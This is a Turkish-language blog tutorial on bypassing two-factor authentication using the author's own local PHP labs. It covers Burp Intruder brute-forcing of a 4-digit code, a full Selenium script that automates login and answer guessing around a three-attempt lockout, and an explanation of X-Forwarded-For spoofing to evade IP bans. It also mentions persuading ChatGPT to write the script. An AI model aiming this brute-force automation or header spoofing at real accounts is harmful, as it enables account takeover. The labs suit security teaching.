Two Factor Authentication Bypass

Merhaba,

2FA Bypass temelde brute force'a dayanan, önlenmesi basit görünen ancak önlenmediği zaman büyük hasarlara neden olabilen eğlenceli bir zafiyettir :D. Açıkçası burada "2FA Bypass nedir?", "Neden vardır?" gibi sorulara cevap arayarak hem sizi sıkmak hem de eli boş göndermek istemem. Bu yüzden bu konuyu anlatmak için 3 adet lab sorusu hazırladım. Her lab sorusu, bir öncekinin zafiyeti kapatılmış versiyonudur. Eğer lab sorularının cevaplarını görmeden önce kendiniz çözmek isterseniz aşağıdaki linkten soruyu indirip XAMPP aracılığı ile local hostunuzda çalıştırabilirsiniz. [Lab soruları]

Giriş

Öncelikle hiç bilmeyenler için Two Factor Authentication (iki katmanlı doğrulama)'dan biraz bahsedeyim. Biz, yani kullanıcılar, teknolojik aletlerimizde hesaplarımıza girerken genellikle bir kullanıcı adı ve şifre oluştururuz. Bu, o hesabın bize ait olduğunun ve başkası tarafından erişilmemesi için koyduğumuz bir güvenlik duvarıdır. Peki, bu duvar ne kadar güvenli? Oraya girdiğimiz şifre sadece bizim aklımıza mı geldi? Kesinlikle hayır. Siteler hacklendiğinde ve kullanıcı bilgileri sızdırıldığında kullanıcıların şifreleri, e-postaları ve birçok kişisel tanımlayıcıları internete yayılmış oluyor. Bunun sonucunda internette çok fazla veri bir araya gelerek en çok kullanılan 100 şifre, 10000 şifre, 1000000 şifre gibi brute force yöntemi kullanılarak denenmelik veri yığınları oluşturuyor. Tabii ki biz beyaz şapkalı hackerlar olarak bu sızmış verilerin sadece varlığını bilsek yeter. Her neyse, konumuza dönmek gerekirse, bu veriler sizin koyduğunuz güvenlik duvarı için bir anahtar görevi görüyor. İşte burada bize hesabımızın güvenliğini sağlamak için ikinci bir güvenlik duvarına ihtiyaç var. İşte iki katmanlı doğrulama ismindeki "2" buradaki ikinci güvenlik duvarında geliyor. Güvenlik duvarının sayısı 2’den fazla ise Multi Factor Authentication ismini alıyor. Peki, bu duvarın önceki güvenlik duvarından farkı ne? Hayır, tabii ki bu duvarın rengi farklı değil 😊. Bu duvar genellikle 4 ana başlık altında konuluyor.

Bildiğiniz bir şey (Something you know)

Bu kategori altına konulan duvar, sadece sizin bildiğiniz verilerden oluşan bir şifre oluyor.

Sahip olduğunuz bir şey (Something you have)

Bu kategori altına konulan duvar, sizin sahip olduğunuz bir şeye dayanarak şifre koyuyor. Mesela cep telefonunuza gelen bir doğrulama kodu bu kategoriye giriyor.

Olduğunuz bir şey (Something you are)

Bu kategori altına konulan duvar, direkt siz oluyorsunuz desek yalan olmaz. Olduğunuz bir şey, yani siz, en güçlü şifresiniz. Parmak iziniz ve göz retinanız bunlara örnek verilebilir. Ek bir bilgi vermek gerekirse göz retinası bu şifreleme yöntemi içerisinde de en güvenli olan yöntemdir.

Bulunduğunuz bir yer (Somewhere you are)

Bu kategori altına konulan duvar, sizin konumunuz oluyor. Mesela bir uygulamaya erişmek istiyorsunuz ama sizden konum bilgisi isteniyor. Sizden bilgi isteyen cihaz etrafında bir küre hayal edin, bu kürenin büyüklüğü içerisinde olursanız uygulamaya erişiminiz oluyor. Okul yoklama sistemleri bazen bu tür bir çalışma prensibi ile yoklama alıyor. Fake GPS gibi yöntemlerle bu doğrulama kısmı kolaylıkla atlatılabiliyor.

Lab Soruları

Genel olarak iki faktörlü doğrulama hakkında bir fikir sahibi olduysanız lab sorularını çözmeye başlayalım. İlk önce labın işleyişini anlatacağım. Sonrasında labın nasıl çözüleceğini ve hangi kodun zafiyete neden olduğundan bahsedeceğim.

Level 1

Laba başlamadan önce giriş yapabilmemiz için gereken e-posta ve şifreyi görüyoruz. Hadi bu bilgileri kullanarak giriş yapmayı deneyelim.

Giriş yaptık fakat bizden devam edebilmemiz için bir doğrulama kodu isteniyor. Burada sağ üstte kurbanın e-posta kutusuna gelecek olan kodu, yani cevabı, yazdım. Burada labın çalışıp çalışmadığını görebiliriz. Ayrıca çözerken sinir olduysanız, ara ara doğru cevabı girerek kendinizi motive edebilirsiniz.

Ve işte burada! Sinir olmanızın asıl sebebi. Her yanlış denememizde ekrana yumruk atmamak için kendinizi zor tuttuğunuz GIF ve yazı bizi karşılıyor. Ama hemen üzülmeyin; ben buradayken her soru tek seferde çözülecek. Hadi bir önceki sayfaya dönelim.

Code kısmına bir input değeri girdikten sonra Burp Suite aracılığıyla araya girdiğimizde code kısmını, giden isteği görüyoruz. Eğer birkaç kez yanlış deneme yaptıysanız sayfanın sizi banlamadığını veya yeni bir kod oluşturmadığını fark etmiş olmalısınız. İşte bu zafiyetin ortaya çıkma nedeni. Hadi bunun üzerine gidelim :D. Öncelikle araya girdiğimiz ve yakaladığımız requeste sağ tıklayarak Burp Intruder'a yolluyoruz. Burp Intruder'da aşağıda seçili olan yeri (burasi+kodun+girildigi+yer) tekrar seçip "Add" butonuna basıyoruz ve saldırı şekli olarak "Sniper" seçiyoruz.

Saldırıya başlamadan önce payload type olarak 'Numbers' seçiyoruz ve number range yerini aşağıdaki gibi dolduruyoruz. Böylelikle 0 ile 10000 arasındaki tüm sayıları birer birer deneyecek.

Burada ben, setting kısmında 'goodEnding.php' URLsini ekleyerek true dönen değeri gördüm. Kodu ben yazdığım için doğru cevapta bu bağlantıya gideceğini biliyordum. Siz 'badEnding.php' yazarak false dönen yeri filtrelerseniz aynı sonuca ulaşabilirsiniz.

Buradan sonra 'Level 2'ye geçme butonu ile bizi tebrik mesajı karşılıyor.

Zafiyetin nedeni

Burada zafiyet, yazılan bir koddan değil, yazılmayan bir koddan kaynaklanıyor. Uygulamada ne bir kullanıcının belirli sayıda kod denemesine izin veren bir mekanizma var ne de engelleyen bir mekanizma. Ne dediğimi anlamadınız mı? Hadi 'Level 2'ye geçelim ve orada görelim.

Level 2

Burada bizi bir kod doğrulaması değil, bir soru karşılıyor. Peki neden? Eğer labı çözmeye çalıştıysanız 3 kez hatalı girdikten sonra sizi 'badEnding.php' sayfasına yönlendirdiğini fark etmişsinizdir. Peki neden 'Level 1'deki gibi tek hatalı denemimizde değil de 3. denemede yönlendiriliyoruz? Çünkü bu tür doğrulamalar 3 kez yanlış denemeden sonra mail kutunuza gönderilen şifreyi doğrulama kısmından siler ve yeni bir kod oluşturur. Brute force attığınızı düşünün, 10000 olasılık içerisinden 3 deneme hakkınız var ve bu hakkı tutturamazsanız tekrardan başlamanız lazım. Neredeyse imkansıza yakın bir iş ve bu işi yaparken yakalanmanız olası.

Neyse, şimdi labın çözümüne gelelim. Eğer 'Level 2' sayfasının bulunduğu klasöre baktıysanız, 'answer.txt' dosyasını görmüşsünüzdür. Bununla tekrar brute force atmamız lazım. Ama dikkat ettiyseniz, brute force atmaya çalıştığımızda sadece 3 kez deneyebiliyoruz ve geri kalan denemelerde doğru yanıt olsa bile hata alıyoruz.

Bu sorunu ortadan kaldırmamız için script kullanmamız gerekiyor. Sen dostum, script yazmayı bilmiyor musun? Ne tesadüf, ben de bilmiyorum :D. Ama merak etme, labın kaynak dosyaları elimizde; tek yapmamız gereken ChatGPT kardeşi script yazmaya ikna etmek. Dert etme, ben yaklaşık 6-7 saat dil dökerek aşağıdaki scripti yazdırabildim. Peki bu script ne yapıyor? Siteye giriyor, bizim yerimize login oluyor ve 'answer.txt'deki ilk 3 veriyi deniyor. Eğer başarısız olursa tekrar siteye giriyor ve denemeye kaldığı yerden devam ediyor.

// Level2_script.py
```python
import os
from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.common.exceptions import NoSuchWindowException
import time

# Şu anki betiğin bulunduğu klasörü al
current_directory = os.path.dirname(os.path.abspath(__file__))

# Dosyanın tam yolunu oluştur
file_path = os.path.join(current_directory, "answer.txt")

# Tarayıcıyı başlat
driver = webdriver.Chrome()

# answer.txt dosyasından kavramları oku
kavramlar = []
with open(file_path, "r") as file:
    kavramlar = file.read().splitlines()

sayac = 0  # Kavramları denemek için sayaç

def login():
    global driver  # driver'ı global bir değişken olarak tanımla
    try:
        # Login sayfasına git
        driver.get("http://localhost/php/2FABypass/Level_2/login.php")
        
        # E-posta ve şifre bilgilerini doldur
        mail_input = driver.find_element(By.ID, "mail")
        pass_input = driver.find_element(By.ID, "pass")
        mail_input.send_keys("[email protected]")
        pass_input.send_keys("pass")

        # Login butonuna tıkla
        driver.find_element(By.CLASS_NAME, "input-submit").click()
    except NoSuchWindowException as e:
        print(f"Hata: {e}")
        # Tarayıcı penceresi zaten kapalıysa, yeni bir tarayıcı penceresi oluşturun
        driver = webdriver.Chrome()

# Login yap
login()

while True:
    if "confirmCode.php" in driver.current_url:
        for i in range(sayac, sayac + 3):  # Sayac ile bir sonraki 3 kavramı seç
            if i < len(kavramlar):
                kavram = kavramlar[i]
                try:
                    answer_input = driver.find_element(By.ID, "answer")
                    answer_input.clear()
                    answer_input.send_keys(kavram)
                    driver.find_element(By.CLASS_NAME, "input-submit").click()
                    time.sleep(1)
                    print(f"Denenen kavram: {kavram}")
                except:
                    print(f"Hata! Kavram girişi sırasında bir sorun oluştu: {kavram}")
        sayac += 3  # 3 kavramı denediğimiz için sayaçı güncelle

    if "badEnding.php" in driver.current_url:
        # Hata durumunda, badEnding.php sayfasına yönlendirildi
        # Login yaparak işlemlere yeniden başla
        print("Hata! badEnding.php sayfasına yönlendirildi. Yeniden giriş yapılıyor...")
        login()  # Yeniden giriş yap
    elif "goodEnding.php" in driver.current_url:
        print("Yarışmayı kazandınız!")
        break  # Kazandıktan sonra döngüyü kır

# Tarayıcıyı kapat
driver.quit()

```

Level 3

Bu sorunun bir önceki sorudan farkı, 3 kez yanlış deneme sonucunda ban yememiz ve tekrardan login olamamız.

Öncelikle neden ban yediğimizden bahsedeyim. REMOTE_ADDR ögesi, kullanıcının gerçek IP adresini içerir. Ancak bu değer bazen proxy ve yük dengeleyici gibi ara sunucular tarafından manipüle edilebilir ve güvenilir olmayabilir. Peki aşağıdaki if bloğunda yazan HTTP_X_FORWARDED_FOR ne anlama geliyor? Burada gelen HTTP request'inde bu değerde bir başlık değişkeni taşıyorsa, buradan IP değerini al diyor. Bunu yapma sebebi daha güvenilir olması. Aşağıda yazan kod çoğu web sitesinde bulunuyor.

Şimdi bu zafiyeti nasıl sömürebileceğimizden bahsedelim. Tek yapmamız gereken HTTP request'ine aşağıdaki kodu girip login olmaya çalışmak ve ban kalkmış oluyor. Buradan sonra soruyu çözmek için gereken scripti yazmak size düşüyor :D.

Bunun gibi eğlenceli labları çözmek için VulnLab'a göz atabilirsiniz. [VulnLab]

Last updated